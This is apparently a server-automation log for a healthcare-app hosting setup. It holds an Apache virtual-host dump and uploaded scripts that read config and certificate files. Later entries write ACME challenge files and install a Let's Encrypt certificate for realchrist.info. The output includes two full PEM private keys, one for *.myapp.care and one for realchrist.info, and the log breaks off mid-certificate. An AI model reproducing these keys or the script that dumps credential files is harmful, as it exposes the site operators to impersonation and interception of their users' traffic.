         port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
                 alias www.ma2-acrp.myapp.care
         port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
                 alias www.ma2-anar.myapp.care
         port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
                 alias www.ma2-anfr.myapp.care
         port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
         port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
                 alias www.ma2-anin.myapp.care
         port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
                 alias www.ma2-anrp.myapp.care
         port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
                 alias www.ma2-buni.myapp.care
         port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
                 alias www.ma2-chel.myapp.care
         port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
                 alias www.ma2-hamm.myapp.care
         port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
                 alias www.ma2-hind.myapp.care
         port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
                 alias www.ma2-lcl.myapp.care
         port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
                 alias www.ma2-mdfu.myapp.care
         port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
                 alias www.ma2-mtfp.myapp.care
         port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
                 alias www.ma2-rcl.myapp.care
         port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
         port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
                 alias www.pai-lc.myapp.care
         port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
                 alias www.pai-rco.myapp.care
         port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
                 alias www.sma1-lgb.myapp.care
         port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
                 alias www.sma1-lrygb.myapp.care
         port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
                 alias www.sma1-lsg.myapp.care
         port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
                 alias www.sma1-pcnl.myapp.care
         port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
                 alias www.test.myapp.care
         port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
         port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
         port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
         port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
         port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
         port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
                 alias live.patientapps.net
         port 443 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:23)
         port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
         port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
         port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
                 alias www.patientapps.net
         port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-12-02 23:06:52: 

PUT: /tmp/pkp950804

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/001-myapp_www_care.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-02 23:06:52: 

chmod 755 /tmp/pkp950804; /tmp/pkp950804; rm /tmp/pkp950804

2025-12-02 23:06:52: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/001-myapp_www_care.conf	2018
<VirtualHost *:80>
    #	LogLevel alert rewrite:trace6
    ServerName	www.myapp.care
    ServerAlias	myapp.care
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/myapp_www
    RewriteEngine	On
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    #	LogLevel alert rewrite:trace6
    ServerName	www.myapp.care
    ServerAlias	myapp.care
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt
    DocumentRoot	/var/www/myapp_www
    <Directory /var/www/myapp_www>
        Options	+FollowSymLinks -MultiViews
        Require	all granted
        #AllowOverride	All
#Order	allow,deny
#allow	from all
    </Directory>
    
    #LogLevel rewrite:trace3
    RewriteEngine	On
    
    RewriteRule	\.git.* - [R=404,L]
    
    # realtime landing-page preview
    RewriteCond	%{REQUEST_URI} ^/preview/(.*)$
    RewriteRule	^(.*)$ /include/preview.php [L]
    RewriteCond	%{REQUEST_URI} ^/edit/(.*)$
    RewriteRule	/edit/(.*)$ https://pai.patientapps.net/account/procedurelist/$1?debug=1 [L,R=302]
    RewriteCond	%{REQUEST_URI} ^/~/html$
    RewriteRule	^(.*)$ /include/html.php [L]
    
    RewriteCond	%{REQUEST_URI} ^/static/location\.js$
    RewriteRule	^(.*)$ /static/location.php [L]
    
    RewriteCond	%{REQUEST_URI} ^/static/associate\.gif$
    RewriteRule	^(.*)$ /static/associate.php [L]
    
    RewriteCond	%{REQUEST_URI} !^/$
    #RewriteCond %{REQUEST_URI} !^/index\.html$
    RewriteCond	%{DOCUMENT_ROOT}%{REQUEST_FILENAME} !-f
    RewriteCond	%{DOCUMENT_ROOT}%{REQUEST_FILENAME} !-d
    RewriteRule	^(.*)$ /include/redirect.php [L]
    
    CustomLog	/var/log/apache2/myapp/www_secure_access.log combined
    ErrorLog	/var/log/apache2/myapp/www_secure_error.log
    DirectoryIndex	index.html index.php index.htm
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-12-02 23:06:52: 

PUT: /tmp/pkp680581

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-02 23:06:52: 

chmod 755 /tmp/pkp680581; /tmp/pkp680581; rm /tmp/pkp680581

2025-12-02 23:06:52: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt	4018
a9:6b:a1:a5:89:0c:fe:54:70:0f:63:aa:30:d3:d7:fc

-----BEGIN CERTIFICATE-----
MIIGVzCCBL+gAwIBAgIRANUcRBuZQtgOQAZJA8NEgO8wDQYJKoZIhvcNAQELBQAw
ZjELMAkGA1UEBhMCQUUxGTAXBgNVBAoTEFNTTDJCVVkgRU1FQSBMTEMxPDA6BgNV
BAMTM1NTTDJCVVkgRU1FQSBSU0EgRG9tYWluIFZhbGlkYXRpb24gU2VjdXJlIFNl
cnZlciBDQTAeFw0yNTEyMDIwMDAwMDBaFw0yNzAxMDIyMzU5NTlaMBcxFTATBgNV
BAMMDCoubXlhcHAuY2FyZTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
ANHZFH2s4GOd5CLuJ8zQPwh+JryCAdwFQxWN3vMYLQdTBtqmH6zqwAmbFWGI6KPb
WMc80S6JK/VC+8rjmyKiXxGetZwtFy30r8eF/6ibO28sOyxjM5KTrEg3eOZ8CXG7
BmCW7U55rndetexTSjpOBSuJDLvLsD/nzxF++QNcZSo9XLa0zdk1G4srpmgrE+U5
WUUiraWOTfrTbfcbWxZvrT8VG2R5ZJfllmz1M17IWBTDU5mCf42SJM0F5EF3IMIy
wS0CmeO0qc51aAbmpAMq7siiis79+OSLvRQo+C/lcYsqEOtRQQ2xaUZ/VhRrSgm0
G9UrRE1L/67HJ2JV0VFZWMkCAwEAAaOCAs0wggLJMB8GA1UdIwQYMBaAFIFZSMm6
5QBv37f/UMWr793m5K6QMB0GA1UdDgQWBBRhGj7em/h5PNICJDriI5iCAegOwzAO
BgNVHQ8BAf8EBAMCBaAwDAYDVR0TAQH/BAIwADATBgNVHSUEDDAKBggrBgEFBQcD
ATATBgNVHSAEDDAKMAgGBmeBDAECATCBiAYIKwYBBQUHAQEEfDB6MFMGCCsGAQUF
BzAChkdodHRwOi8vY3J0LnNlY3RpZ28uY29tL1NTTDJCVVlFTUVBUlNBRG9tYWlu
VmFsaWRhdGlvblNlY3VyZVNlcnZlckNBLmNydDAjBggrBgEFBQcwAYYXaHR0cDov
L29jc3Auc2VjdGlnby5jb20wIwYDVR0RBBwwGoIMKi5teWFwcC5jYXJlggpteWFw
cC5jYXJlMIIBjQYKKwYBBAHWeQIEAgSCAX0EggF5AXcAdgBgTJqven93XwHUBvyS
DciZ6wscffjJUhv6+hd3O5eLyQAAAZrhTprVAAAEAwBHMEUCIDI0LLuWEgXZ7Dq8
LZht30VzJVqKz/0TXNZIi4IfCZYSAiEA0aYTjkNZbV7QRpCnWGYZWtkISDg0TfD/
dBQjIDiOCPYAfQCOykcLrN5q86IGsKR6hLdG/h/Gv5U+JeabTuQCSPPG6AAAAZrh
Tp3iAAgAAAUAAEYlBAQDAEYwRAIgZ9VgnBQonCVGAsuk22+i4MDVOufCa9GXP0Ah
4/Su1OoCIGYWX6c5RoJ4uWTKgQqLkaYSvIcFYekWboYvVcc2kZB0AH4AWW5sM4aU
sllyolbIoOjdkEp26Ag92oc7AQg4KBQ87lkAAAGa4U6ckQAIAAAFAAAAQ9EEAwBH
MEUCIQCjLppjUg79FVP5jJzrj3sCtexyNSlx0BioF6IotFj0kQIgfE9ujCun6ZLe
8oK9rMWBUTsArCmHyfT0r+Ktm+2T7HMwDQYJKoZIhvcNAQELBQADggGBAAMstxOP
96S7fclGjGNvIUjzVJV0Uia9kn/44ZWIBDoYAI/+4h42xNG9SEcZ1Y239rAtWr0s
82g9cdLDgpbWaWOT8n21oP7f1t9Sj2GyncJoQb4jPTgVzEJ8XcsUig+UroYimvoX
q1HLX8bKTAnQwjEENoBUQxAOd25ED21nR2x9IEV+CVMPZKhF0Kbscbz7zFrEVwvX
ssU6g7va78S8KblsFXQSfap8U8cuF0C5szy/p5S0jUCwDAbukQm3OYVIJZ+RTSxQ
qMZoXXxp3bk3WrVSUukZ906v1ATAH6l5O8EyJ2UkKZpLTnEWzI8wx9/iRoFbCv7x
PqhJsHuWNqejhvzJxR4oeyuWCi9DjqqDCnizytWG6Sm/mdWCJ2vIgX595tVkXZVh
Bp1dObJgxNU9bIz7npJkreR4LN+leLfguo52ROZnDilXlCzKLT4mDAL5JbBdlzn7
9guC40o9ivvM+LM7I0AoBu+7NcFcXZh3HDcNU2xAXR/WPqUZg1+QWkjS0w==
-----END CERTIFICATE-----

-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDR2RR9rOBjneQi
7ifM0D8Ifia8ggHcBUMVjd7zGC0HUwbaph+s6sAJmxVhiOij21jHPNEuiSv1QvvK
45siol8RnrWcLRct9K/Hhf+omztvLDssYzOSk6xIN3jmfAlxuwZglu1Oea53XrXs
U0o6TgUriQy7y7A/588RfvkDXGUqPVy2tM3ZNRuLK6ZoKxPlOVlFIq2ljk360233
G1sWb60/FRtkeWSX5ZZs9TNeyFgUw1OZgn+NkiTNBeRBdyDCMsEtApnjtKnOdWgG
5qQDKu7IoorO/fjki70UKPgv5XGLKhDrUUENsWlGf1YUa0oJtBvVK0RNS/+uxydi
VdFRWVjJAgMBAAECggEAB8FUBoj7CfNt2PSgN+uCSNgQqmrLkswG/KbvlGBSWbDx
0ebNyOAsFK7MjXw3zMZwc3yF5ohfPYMqNwdOVmtVxBrvb0QjVSlzzZXgKuUBv0wN
K8jGwSX/+fNC3pG6758Pz0YEox/QGM1BP+icF6eGfWNlOxN+Af6ZInZk0YD6pCLr
Pt423fjTijs/CCkOeCOEpTvdRALwTY0TVa7ryvQEFEauSprYpbYr9Cjygt/vRqZ9
zkKEXYGZ2Gu8IUP3RsRNe47VCcSmUx6lN0v04KKPNC3fsHo3hsrUftOdzwkAJeXu
uDu0RpvdvDK8TnI1nDtcxnH/AnGJzGbuz7Mex84gOQKBgQD16+OycXcc8uHmdmpf
LUJqF1ly6y3UfP3PH3i4wtQMHVqfqZwQTuPfLoEm5dZA5A8SMkorHpimBP7mVKLu
iinhotAXwfrBGD3y2Iri5NmjemtUMU4jdpImHtJ7jFxbtRRHXNR1akFr52MYBSJQ
Q7P8hL+3BW/WbughwsHkerr8VwKBgQDacrjTFplDZeSRtiE/RItARncnty8vqai2
BABWcuoo0Rs+E/QHERyZMNQpqfE6pJLOiTh5ovtBQ1C18eRqlYQXJs7gxgN3AV70
BkfdYgYN7DnDlGU17kEd3XA1wJ9eP/xaxI9YLvGJ8Vil8QA/6P1EikLPZqp1JZSx
oekRGb8f3wKBgBcS0+FZPgjMTR+3epGFiJa1rCHZKQqn05SMamJDfWvJkUgrvMXW
8RBup5WDuQ+LllJpv4W+MCpbi6MGy+a/teBCy21/OMzHPoC7ioRxXm41PT7ABYnU
RTAoci0/ZScBnW54qkJ9/rdmFWkaijans4p81hQRAYZID6WjRVfvn/2vAoGAQ+yM
H8bVHSnfqpcxO1T635+JiWXiXDWq6f3QhRDyUoLCr8jQhioB9HhEYDghdBScOXBd
iSTub1qZDBoM5j9bdT9x8F5h0W0xszsIuYOzUjzzsSbBWcWdpcWnEG+2nj3TH/4i
fE8Md9H9uIt5gmXV6qv7HjZUJlzrIViw+cpBrY0CgYEAl9wcr81vpdFfHWMca/Mu
o5uZTGT5KCPPPZdQH7xwFR/IyaqvRyHSZrTYeyw6C8a4wmpExWfl/MOAADpKpXJ0
9HNQKRHRhE4XMOFh+6Sx1xARPnuN+TRi3Kzm0eI0b4G+Ld6/s5mPJ+IQvuG7QaoJ
SAap5snFH9htADOn4RXibrI=
-----END PRIVATE KEY-----








2025-12-03 06:00:02: Establishing a connection
2025-12-03 06:00:03: Establishing a connection
2025-12-03 06:00:04: 

PUT: /tmp/pkp489445

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-03 06:00:05: 

chmod 755 /tmp/pkp489445; /tmp/pkp489445; rm /tmp/pkp489445

2025-12-03 06:00:05: 


0


2025-12-04 06:00:02: Establishing a connection
2025-12-04 06:00:02: Establishing a connection
2025-12-04 06:00:03: 

PUT: /tmp/pkp477121

#!/bin/bash
if [ -d "/var/www/realchrist_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-04 06:00:03: 

chmod 755 /tmp/pkp477121; /tmp/pkp477121; rm /tmp/pkp477121

2025-12-04 06:00:03: 


1


2025-12-04 06:00:05: Establishing a connection
2025-12-04 06:00:05: 

PUT: /tmp/pkp386568

#!/bin/bash
mkdir -p "/var/www/realchrist_www/.well-known/acme-challenge/"
cd "/var/www/realchrist_www/.well-known/acme-challenge/"
cat > S-aHzEB8yL-Om1ntu0TRKJpvEWPWNaT42Smg9A-Zdok <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
S-aHzEB8yL-Om1ntu0TRKJpvEWPWNaT42Smg9A-Zdok.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 S-aHzEB8yL-Om1ntu0TRKJpvEWPWNaT42Smg9A-Zdok
cat > 677uqXBj2JkBtzuLFknDf12frs7yo8OZvPBouBVAZmQ <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
677uqXBj2JkBtzuLFknDf12frs7yo8OZvPBouBVAZmQ.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 677uqXBj2JkBtzuLFknDf12frs7yo8OZvPBouBVAZmQ


2025-12-04 06:00:05: 

chmod 755 /tmp/pkp386568; /tmp/pkp386568; rm /tmp/pkp386568

2025-12-04 06:00:05: 




2025-12-04 06:00:16: Establishing a connection
2025-12-04 06:00:16: 

PUT: /tmp/pkp942381

#!/bin/bash
mkdir -p "/var/www/realchrist_www/.well-known/acme-challenge/"
cd "/var/www/realchrist_www/.well-known/acme-challenge/"
rm S-aHzEB8yL-Om1ntu0TRKJpvEWPWNaT42Smg9A-Zdok
rm 677uqXBj2JkBtzuLFknDf12frs7yo8OZvPBouBVAZmQ


2025-12-04 06:00:16: 

chmod 755 /tmp/pkp942381; /tmp/pkp942381; rm /tmp/pkp942381

2025-12-04 06:00:16: 




2025-12-04 06:00:16: Establishing a connection
2025-12-04 06:00:16: 

PUT: /tmp/pkp522221

#!/bin/bash
temp_file=$(mktemp)
TARGET=8df29f43e5e79f1c31041f6ee4962ae9.crt

cat > $temp_file <<'endmsg'
66:19:49:be:a0:63:2c:e5:87:9f:2a:e1:e6:b3:82:6f

-----BEGIN CERTIFICATE-----
MIIFFjCCA/6gAwIBAgISBo8GKDCz7LHBigQYqwdJQmeGMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjA0MDUwMTQ1WhcNMjYwMzA0MDUwMTQ0WjAaMRgwFgYDVQQD
Ew9yZWFsY2hyaXN0LmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQDdopAGCMXGqNweQskYLn6u9wUqJAwVG5FE8XpKJqH6K7Mm1nm8STucTnCoMwMF
ZHha263Od9lvi+MQtGZ5gy3putJoG1w106Wi5qPuFGGJkf/8Rur1oBM2FfWeHxQH
KkVYXExCnXIPRrl1c4bpf9eJI3VZicTEfEupuFZL4D/8qkq1IXFiqhVzNRHhnhC2
NM6oS0eUCyluLeT5YezSowbNL8id2bMolhRFguG1pCOw9F9v1GytK18Gt7/3mlOv
eVF9+rircYpYHpi3b4sIPV73L514nm9IPoR+AU89cKCc6K2hFd65xJfjuTPpumQp
IfVNlv/AxPOTikT+23CYMfYjAgMBAAGjggI7MIICNzAOBgNVHQ8BAf8EBAMCBaAw
HQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFCcWExjj3iQSmxs3kGOf8veMcvWyMB8GA1UdIwQYMBaAFOernw8sM6BT
015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMy5pLmxlbmNyLm9yZy8wLwYDVR0RBCgwJoIPcmVhbGNocmlzdC5pbmZvghN3
d3cucmVhbGNocmlzdC5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC0GA1UdHwQm
MCQwIqAgoB6GHGh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvNy5jcmwwggEMBgorBgEE
AdZ5AgQCBIH9BIH6APgAdgDRbqmlaAd+ZjWgPzel3bwDpTxBEhTUiBj16TGzI8uV
BAAAAZrn8mtnAAAEAwBHMEUCIAiKZE8DfM68sKIgLXconsHBYJHxjfy2aUVST0A/
/Cm4AiEAncyzAPN3ECyTk2iJMyhhytOzXHJaegxo5I5x2IY+ydoAfgDjI43yjaKI
4KrgrPD6kMmF8La/9dKlJ7AB/BxEWMS26AAAAZrn8mujAAgAAAUAJ8mHTQQDAEcw
RQIgCgn1ngJkGT3cf23TuOvOvhfjOM1J6mTOn92Y6qmDeSkCIQDDtHp3shyGBKVb
hf4B2hwmo964pqX/Hwux/GTcA4PNUTANBgkqhkiG9w0BAQsFAAOCAQEAjgNDJqrY
KVQtJMpdhYdYGSehAku/Md8GbWfxh+tRKrwYlx5B2BOdjmp/MMSPOvuylCoPEfuN
GIniIt9vd0SwVtjJMXwvw6CAHldBi0hqPSg04OmBxGEyoxeUvS+nTRIqprF8L8Aa
L5+6PV4e70lkV06blnbzLHJt/kP9pAwxPx0hdewoZpoJKE2/tavQcCfnt2Q+r85A
xjNXL6BZ/SjMz5fmN5iLHIMXdjoAYnc0IaCttASFBYG7oQ8rU7t3MqvSrbufCCqH
PHcKhHTM+x06Beh2DHEhI1bmYFB64wXr0V0xyOIWyXdXARQHtiScn7QDwzn6VTV3
m/Pc8JgtJUOhJw==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEwAIBADANBgkqhkiG9w0BAQEFAASCBKowggSmAgEAAoIBAQDdopAGCMXGqNwe
QskYLn6u9wUqJAwVG5FE8XpKJqH6K7Mm1nm8STucTnCoMwMFZHha263Od9lvi+MQ
tGZ5gy3putJoG1w106Wi5qPuFGGJkf/8Rur1oBM2FfWeHxQHKkVYXExCnXIPRrl1
c4bpf9eJI3VZicTEfEupuFZL4D/8qkq1IXFiqhVzNRHhnhC2NM6oS0eUCyluLeT5
YezSowbNL8id2bMolhRFguG1pCOw9F9v1GytK18Gt7/3mlOveVF9+rircYpYHpi3
b4sIPV73L514nm9IPoR+AU89cKCc6K2hFd65xJfjuTPpumQpIfVNlv/AxPOTikT+
23CYMfYjAgMBAAECggEBALx7oSvgjgFyXS/G8CmGcOnu3Q+HdFcHCLWu/qbMz/dm
7oZa41BCn1VASAJiz3DojooGRHtP5TQ9rK7qHDO+YW9iF8m9at/DzBsLNeIkpwZN
iXtL/ElDBtN6PVVpbKjjQ/HvHFOSfguLw/CkfNlahTv1UbkBtrq6UcZWI92HKiN+
QayTdBuQl/LiWp7SV742WGUSOxSr4tI4vmXVhizSCftT092CBNqIhkD7m7Ju0fTQ
XMNBHsq//0WM1T2IKoppDKbjbcx9w8aBgCb8n1ybH/2w7m8UbGksmLTxYYmVIjMZ
pH1ZwqPEM+GfrogFuCAXypwh2NOj+auLWefPzVYNDbECgYEA8wiy1gD+9pqKYba4
CNmWSdK11S0vwdpXlxzKJt6EYToTeYjjxHfc6twHMZKE6VBSJznniziIgtBAB3Mk
SUkJkHzJpwPDfttfjDgHPfrs4+f+kfB7ERvkvgY94ohbpNkqa6IPQHA4x3MfezpC
pne495DnAf+l28k5O77mdzshNd8CgYEA6XWaFV+bgXThtVWMCYf70GoNkZqqGAWf
fqOqHl87tYsu+sVzvV/r9/j8ak0hIxULtcOi/laqjJhzR7JJOoQvLVwQaGdGflXo
u+4OH/DQzdgh+C0BE7f0BFv+ATPclqzlqRnQATD1j8IwDsOj30nzxK4bPTePKYEK
VuODvHB74D0CgYEAlIyKkxgEv8LyNouyrWYh4Hm0vtphyIGm7Cyiu2NjUvJmmPC9
F4eUNtHKa9h8+QcpT+SqzIP/nMWhfWw5j7ne6Lv9neJFCjMYkeJlOtM3HI7fIWD2
OBzukd/Kz749FePPc/6Yh/CQJAkQAwg3WPzwyBF/wc77F/5Ex2oGAHbZ880CgYEA
lyOniUbIKds9dGPZsSH0CE1gU29Jxxt80kOqktcclL9yvq6t61/6KCNtZnRgi5HI
bvgkwXviFftsRnJJrjR9RmRfyvdxT8DWVzQauNrykxDljQG1vMpOk7PqkWS93l44
oG0xmFPV5ifVbPmDUb9SrXX59HvPlxMPWokYdBpuWBECgYEAkHj+owYuQUaegzeZ
7ac/EaASJwRKom2yzzaIlxsL5k394X/umr/f4W6MArEEiuPucOuSgKaMqJyMdCHz
Wgi3bsRxuvZMS+XPtuiZT4nHz/E/3Ky3T3Y/ARJQq7/9/JFTRjyKKLhnMiZnq0fC
omlJAKep4dTiELOpGE+Ro/t7kHc=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
